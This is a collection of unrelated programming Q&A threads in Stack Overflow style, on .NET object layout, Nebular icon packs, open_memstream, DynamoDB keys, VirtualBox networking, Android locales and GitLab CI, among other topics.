Q: .NET behind the scenes: What does 'object' store? A naïve type system would store objects as a pointer to its type (which contains lots of useful information, like a vtable, object size, etc.) followed by its data. If .Net had such a type system an object would take up 4 bytes on a 32-bit system, and 8 bytes on 64-bit.
We can see that it doesn't. The object overhead is two pointer-sizes, plus, there's a 'minimum' size of one more pointer-size.
So what does object actually store in it, behind the scenes?

A: Yes, that's what it looks like.  The 'type handle', aka 'method table pointer' is at offset 0, the object data follows at offset 4.  There's an extra field at offset-4 named the 'syncblock'.  It is there because it also participates in the garbage collected heap when the object space is not in use, a double-linked list of free blocks that requires two pointers.  Not letting that going to waste, the syncblock has several uses like storing the lock state, storing the hash code, storing a pointer to an explicit syncblock when too much needs to be stored.
The smallest possible object is for a boxed byte, 4 + 4 + 1 = 9 bytes.  But allocation granularity for the GC heap is 4 bytes so you'll get the next multiple of 4, 12 bytes.
This is all pretty visible with the debugger in Visual Studio.  You'll find hints in this answer.

A: (This is all from the Microsoft Shared Source CLI; it has the source code of the CLR.)
If you take a look at clr\src\vm\object.h, you will see:
// The generational GC requires that every object be at least 12 bytes in size.
#define MIN_OBJECT_SIZE     (2*sizeof(BYTE*) + sizeof(ObjHeader))

which is pretty self-explanatory. Furthermore, in clr\src\vm\gcscan.cpp, you can see statements such as
_ASSERTE(g_pObjectClass->GetBaseSize() == MIN_OBJECT_SIZE);

or
_ASSERTE(totalSize < totalSize + MIN_OBJECT_SIZE);

which I think explains why you're seeing the unexpected object sizes. :)

Update:
@Hans had a great point on the sync block; I just want to point out a subtlety, documented again in object.h:
/* Object
 *
 * This is the underlying base on which objects are built. The MethodTable
 * pointer and the sync block index live here. The sync block index is actually
 * at a negative offset to the instance. See syncblk.h for details.
 */

class Object
{
    protected:
        MethodTable*    m_pMethTab;
    //No other fields shown here!
};

Notice this part:

The sync block index is actually at a negative offset to the instance.

So the sync block apparently doesn't actually follow the method table (as Hans mentioned), but it comes before it -- so it's not a "normal" part of the object (for the lack of a better word).


text:
Q: Upgrade to Nebular 4 has stopped displaying font awesome icons. Setting pack is also not working After upgrade of Angular version 8, Nebular got updated to version 4. After the upgrade I cannot see my font awesome icons that was getting displayed earlier.
I tried going through this document of nebular which is asking us to register font awesome as default pack. But even doing this it is not working.
https://akveo.github.io/nebular/docs/guides/register-icon-pack#register-icon-pack.
Could not find enough discussion on this issue. Font awesome is already included and also I have added it inside my angular.json file
constructor(private iconService: NbIconLibraries) {
    this.iconService.registerFontPack('font-aweome');
    this.iconService.setDefaultPack('font-aweome');
}

Nebular should accept font-awesome icons.

A: In order to display fontawesome you will need to register icon packs and upgrade your nebular version to 4.6.0.
In order to register icon pack you need to do this in app.component.ts
constructor(private iconLibraries: NbIconLibraries){ this.iconLibraries.registerFontPack('font-awesome', { packClass: 'fa' }); }

then in the menu Items you can use it like this
{ title: 'wallet', icon: { icon: 'fa-eur', pack: 'font-awesome' }, link: '/home/dashboard', }

Hopefully this helps.

A: Create a .npmrc file and add:
@fortawesome:registry=https://npm.fontawesome.com/
//npm.fontawesome.com/:_authToken=<TOKEN>

From [https://fontawesome.com/how-to-use/on-the-web/setup/using-package-managers#installing-pro]
Install npm package
For FREE
npm i -D @fortawesome/fontawesome-free

For PRO
npm i -D @fortawesome/fontawesome-pro

Now for example in ngx-admin need to register the FontPacks and set one as default in the app.component.ts.
(EDIT NOTE: originally I indicated to add the below to the pages.component.ts, this is the wrong place as if there is a menu in the header component which is outside the pages component, even if the menu doesn't use FA icons, the web app will hang the browser when you click on that menu, so make sure to add to app.component.ts to ensure all menus now about it.)
import '@fortawesome/fontawesome-pro/css/all.css';
import '@fortawesome/fontawesome-pro/js/all.js';

...

  constructor(private iconLibraries: NbIconLibraries) {
    this.iconLibraries.registerFontPack('solid', {packClass: 'fas', iconClassPrefix: 'fa'});
    this.iconLibraries.registerFontPack('regular', {packClass: 'far', iconClassPrefix: 'fa'});
    this.iconLibraries.registerFontPack('light', {packClass: 'fal', iconClassPrefix: 'fa'});
    this.iconLibraries.registerFontPack('duotone', {packClass: 'fad', iconClassPrefix: 'fa'});
    this.iconLibraries.registerFontPack('brands', {packClass: 'fab', iconClassPrefix: 'fa'});

    this.iconLibraries.setDefaultPack('duotone');
  }

From [https://github.com/akveo/nebular/issues/1677]
And at this point say in the pages.menu.ts to configure nb-menu can just add the FA icon names to the icon attributes e.g.:
export const MENU_ITEMS: NbMenuItem[] = [
    {
        title: 'Some Title',
        icon: 'location',
        link: '/your/link'
    }
];

which result in 'fad fa-location' being shown because the duotone is the font pack set.

A: Issue opened here: https://github.com/akveo/ngx-admin/issues/1524
Anyone has other idea how to include Font Awesome PRO icons ?!

A: I think you just have a spelling mistake - change the statements to this:
this.iconService.registerFontPack('font-awesome');
this.iconService.setDefaultPack('font-awesome');


text:
Q: Can I reuse the buffer in open_memstream When working in a loop, I'd like to re-use the already allocated buffer multiple times:
char *membuf = NULL;
size_t size = 0;
while(1) {
    FILE *f = open_memstream(&membuf, &size);

    uint8_t iobuf[8192];
    int32_t readbytes = 0;

    // some I/O here
    while(readbytes = read(/*some I/O params here*/) != 0) {
        fwrite(iobuf, sizeof(uint8_t), readbytes, f);
    }

    fclose(f);

    // process message, once done, loop for next message
    // explicitly NO free of membuf!
}

Is this possible? Or will this lead to UB?

A: No, you can't do this with open_memstream, but doing so won't lead to UB, but rather a memory leak. man 3 open_memstream says "The function dynamically allocates the buffer" and "After closing the stream, the caller should free(3) this buffer." Your code as written will overwrite membuf each iteration of the loop with a new allocation, preventing you from ever freeing the old ones. It won't reuse the old allocation, as you seemed to hope it would.


text:
Q: Selecting composite key for time-series data in DynamoDB I have a time-series data which I want to store on DynamoDB, regarding events of developer tasks (contained in Data).
I'm struggling to decide what partition key & sort key to choose to serve my access needs the best way.
What keys / GSI should I choose to serve my access needs that are explained below?
Data:
TaskId   Date/Time  TeamId         Data
1            3/21/2018   teamA          Data
1            3/22/2018   teamA          Data
1            3/23/2019   teamA          Data
5            7/13/2019   teamA          Data
5            7/15/2019   teamA          Data
3            7/17/2019   teamA          Data
4            7/22/2019   teamC          Data
3            7/24/2019   teamA          Data
4            7/24/2019   teamC          Data
2            7/24/2019   teamB          Data
5            7/24/2019   teamA          Data
6            8/16/2019   teamA          Data
6            8/19/2019   teamA          Data
6            8/28/2019   teamA          Data

Storing:
Time-series.
Accessing:

*

*I would like to get all results within a timeframe with a specific TeamId.
For example, by querying for teamA between 7/16/2019-8/20/2019, I would get:

3            7/17/2019   teamA          Data
3            7/24/2019   teamA          Data
5            7/24/2019   teamA          Data
6            8/16/2019   teamA          Data
6            8/19/2019   teamA          Data

*I would like to get latest results within a timeframe with a specificTeamId, for each TaskId.
For example, by querying for teamA between 3/1/2019-8/1/2019, I would get:

1            3/23/2019   teamA          Data
3            7/24/2019   teamA          Data
5            7/24/2019   teamA          Data

A: Your first query is easily solvable by using TeamId as the hash key and Date/Time as the sort key. You could also create a GSI with those keys if there's a different key that you would prefer to use when writing to your table.
Your second query is not possible to run entirely in DynamoDB. What you want is easily expressed in SQL as:
SELECT taskId, MAX(dateTime), teamId, data FROM tasks WHERE teamId=123 AND dateTime > earlierDate AND dateTime < laterDate GROUP BY taskId

In DynamoDB, it is possible to select the latest event in a date range for a single, specific task. It is also possible to select the latest event of all time for all tasks belonging to a specific team using a materialized aggregation of your table.
You can use DynamoDB for this query, but in order to get the results you want, you will need to select all task events for a team in the given time range, and then in your application you will need to handle getting the latest event for each taskId. This is possible, but it will not have very good performance, and it will be very expensive.
Your have two other options that I see. The first is to replicate your data to another database that can support analytics and/or search queries. You can do this in near-realtime using DynamoDB Streams, "continuously" (according to the AWS docs) using AWS Database Migration Service, or at periodic intervals using AWS DataPipelines. You can send your data to an analytics database like Amazon Redshift, a search database like ElasticSearch, or the sort-of-a-database solution that is Athena on S3.
The other option is to use a different primary database. You may be interested in Amazon QLDB, which is a fully-managed, serverless database that supports PartiQL (almost a superset of SQL) and Ion (a superset of json) documents. You might also consider Amazon Aurora or Amazon DocumentDB.


text:
Q: On mobile, how do I fix the OpenTok Call window in place? Can anyone tell me how I fix the opentok call window in place on mobile (Tablet & Phone)? At the minute, users can 'drag' it across the screen. When in focus I would like it to be fixed in place.
I don't know if this is a opentok element fix, object fix or CSS fix.
Any helpfull suggestions would be greatly appreciated.
Thanks.

A: Have you tried using position: absolute?
HTML

CSS
#publisher {
  position: absolute;
  bottom: 0;
  right: 0;
  width: 320px;
  height: 240px
}

That would fix the publisher div on the bottom right of the window.


text:
Q: CSS and Java within a PHP file I was wondering how you can organize and be able to use JavaScript,
CSS, and php on a page. I've been trying to no avail.
It's suppose to be a blue background with white text. The text will disappear in 90 seconds.
Code so far:

<?php
    if ($_GET["senator"] || $_GET["microphone"]){
        echo "Please remind". $_GET["senator"]. " to make sure their microphone is" .$_GET["microphone"]. "is on. Thank you.";
 exit();
    }
?>

<html>
 <head>
  <title>Room 130</title>

  <script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
  <script type="text/javascript">
   $(document).ready( function() {
   $('#message').delay("90000").fadeOut();
  });
  </script>

  <style>

   #container {
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    height: 100%;
   }

   .message {
    width: 100%;
    margin: 20px;
    text-align: center;
   }

   body {
    background-color: #000080;
    color: white;
    font-size: 60px;
   }
  </style>
 </head>
<body>
</body>
</html>

A: Just put that chunk of php between the  tags... right now it's above the html tag, so it's not being rendered as HTML.


text:
Q: How to set the scale exactly in Google Earth? Is it possible to exactly set the scale in Google Earth?
By "exactly" I mean entering a concrete number, either the scale ratio (natural length to length on screen; of course this depends on knowing the display's DPI) or the length of the scale bar shown on the lower left.
The latter would be preferable, because I'd like to have "nice" numbers at the scale bar.  Using the mouse or keyboard controls for zooming to a nice number is quite hard, even when pressing the Alt key for slower speed.

A: Seems that GoogleEarth not have possibilites like GoogleMaps with zooming URL tricks something like "&z=22".
BUT you can use the ALT key in combination with most of keystrokes (keyboard shortcuts) to move more slowly in the indicated direction. That gives you the fine grain control you're asking for:

*

*holding down the Alt key when using the +/- keys to zoom allows much finer control of the zoom, and hence scale bar values

*or use PgUp and PgDn keys (which I prefer) for zoom in/out.

A: Google Earth
There's a zoom setting in the URL, for example in:
https://earth.google.com/web/@35.50923423,139.7698588,-0.78544622a,484743.13097694d,35y,0h,0t,0r

That's the default view over Tokyo for my current window size.

The 484703.29596881d part is the "distance to your eye", so to speak (in meteres).
Google Maps
You can also set an exact height in Satellite view. The URL will look like:
https://www.google.com/maps/@19.3906797,-99.2840429,52143m/data=!3m1!1e3

That's Mexico City for me.

The 52143m part is the "eye distance" (52143 meters?)
Equal scales
Idk how to turn these settings into arbitrary scales, and also that ultimately depends on the size of your your screen. But I find them super useful to compare different places e.g. using 2 windows tiled side by side. Here's Los Angeles vs Tokyo (at the latter's default scale since it's larger):


text:
Q: When setting up MySQL on a VirtualBox VM, can I connect to it from the host computer? I have VirtualBox running Ubuntu on my Windows 7 computer.
Is it possible for me to connect to the MySQL server running on the VM from my Windows 7 host?

A: You can enable NAT on the virtual machine so that it's IP address is available on windows.
Another option is to enable port forwarding on the "Guest" machine, so that it is accessible on the "Host" machine as 127.0.0.1, this way you can just connect to localhost:3306.
I would suggest not doing option #2 if you are into having mysql on both your host and the guest.

A: If you give the virtual machine its own IP address - check out :
http://www.virtualbox.org/wiki/Advanced_Networking_Linux

The virtual machine may be fully integrated into the network and you may have access between all virtual machine and the host if you do a little bit more.
A bridge can contain only one physical/virtual device. So you can create your bridge as follow:
#!/bin/sh
# set PATH for the case we are called via sudo or su root

PATH=/sbin:/usr/bin:/bin:/usr/bin

# create a tap
tunctl -t tap1 -u <user>
ip link set up dev tap1
f
# create the bridge
brctl addbr br0
brctl addif br0 tap1

# set the IP address and routing
ip link set up dev br0
ip addr add 10.1.1.1/24 dev br0
ip route add 10.1.1.0/24 dev br0

With this code you will be able to contact the virtual machine
attached to the Host Interface tap1 from the host and the host from
the virtual machine. The IP adress should not conflict with the main
IP address of your PC which will probably been within the range
192.168.0.0/16.


text:
Q: Getter async typescript I want to create a variable in typescript define as "getter", but the contect return be async like this;
class MyClass {
    async get isValid: boolean {
         return await myService.get("endPoint").value;
    }
}

But I'm getting the following error:

'async' modifier cannot be used here.

In typescript, it is possible to create asynchronous getters?


text:
Q: Android: new Locale("sv") crashing me app The following WORKS:
Configuration newConfig = new Configuration();
newConfig.locale = Locale.US;
//newConfig.locale = new Locale("sv"); // swedish
onConfigurationChanged(newConfig);

The following CRASHES my app:
Configuration newConfig = new Configuration();
//newConfig.locale = Locale.US;
newConfig.locale = new Locale("sv"); // swedish
onConfigurationChanged(newConfig);

I have the following values folders:
values-en-rUS/strings.xml
values-sv/strings.xml

Both strings.xml include the exact same text.
I suspect I am either naming my values folder incorrect or the "sv" is incorrect.
Here is the logcat, I'm telling you it won't help you...
06-05 21:52:07.933: E/AndroidRuntime(30944): android.view.InflateException: Binary XML file line #1: Error inflating class android.widget.RelativeLayout
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.LayoutInflater.createView(LayoutInflater.java:620)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at com.android.internal.policy.impl.PhoneLayoutInflater.onCreateView(PhoneLayoutInflater.java:56)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.LayoutInflater.onCreateView(LayoutInflater.java:669)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:694)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.LayoutInflater.inflate(LayoutInflater.java:469)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.LayoutInflater.inflate(LayoutInflater.java:397)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at se.busarama.app.fragment.FragmentRight.onCreateView(FragmentRight.java:36)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.support.v4.app.Fragment.performCreateView(Fragment.java:1500)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:927)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:1104)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.support.v4.app.BackStackRecord.run(BackStackRecord.java:682)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.support.v4.app.FragmentManagerImpl.execPendingActions(FragmentManager.java:1467)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.support.v4.app.FragmentManagerImpl$1.run(FragmentManager.java:440)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.os.Handler.handleCallback(Handler.java:730)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.os.Handler.dispatchMessage(Handler.java:92)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.os.Looper.loop(Looper.java:137)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.app.ActivityThread.main(ActivityThread.java:5103)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at java.lang.reflect.Method.invokeNative(Native Method)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at java.lang.reflect.Method.invoke(Method.java:525)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:737)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at dalvik.system.NativeStart.main(Native Method)
06-05 21:52:07.933: E/AndroidRuntime(30944): Caused by: java.lang.reflect.InvocationTargetException
06-05 21:52:07.933: E/AndroidRuntime(30944):    at java.lang.reflect.Constructor.constructNative(Native Method)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at java.lang.reflect.Constructor.newInstance(Constructor.java:417)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.LayoutInflater.createView(LayoutInflater.java:594)
06-05 21:52:07.933: E/AndroidRuntime(30944):    ... 21 more
06-05 21:52:07.933: E/AndroidRuntime(30944): Caused by: java.lang.UnsupportedOperationException: Can't convert to dimension: type=0x1
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.content.res.TypedArray.getDimensionPixelSize(TypedArray.java:463)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.View.<init>(View.java:3374)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.View.<init>(View.java:3293)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.view.ViewGroup.<init>(ViewGroup.java:451)
06-05 21:52:07.933: E/AndroidRuntime(30944):    at android.widget.RelativeLayout.<init>(RelativeLayout.java:242)
06-05 21:52:07.933: E/AndroidRuntime(30944):    ... 24 more


text:
Q: GitLab ci cannot start bash in container Good day!
I am using powershell shell executor for gitlab runner. For the test I need to run bash in my php-fpm container but I get a strange error

docker exec -it phpfpm bash

error:
the input device is not a TTY.  If you are using mintty, try prefixing the command with winpty

also i tried to run command with winpty prefix

winpty docker exec -it phpfpm bash

or
winpty -Xallow-non-tty docker exec -it phpfpm bash

but "winpty" is not internal or external
command, executable program, or batch file.
i installed git with standard windown shell option instead of MTY
also i tried to install winpty but it didn't work. Are there any options to solve this problem or what could be the problem?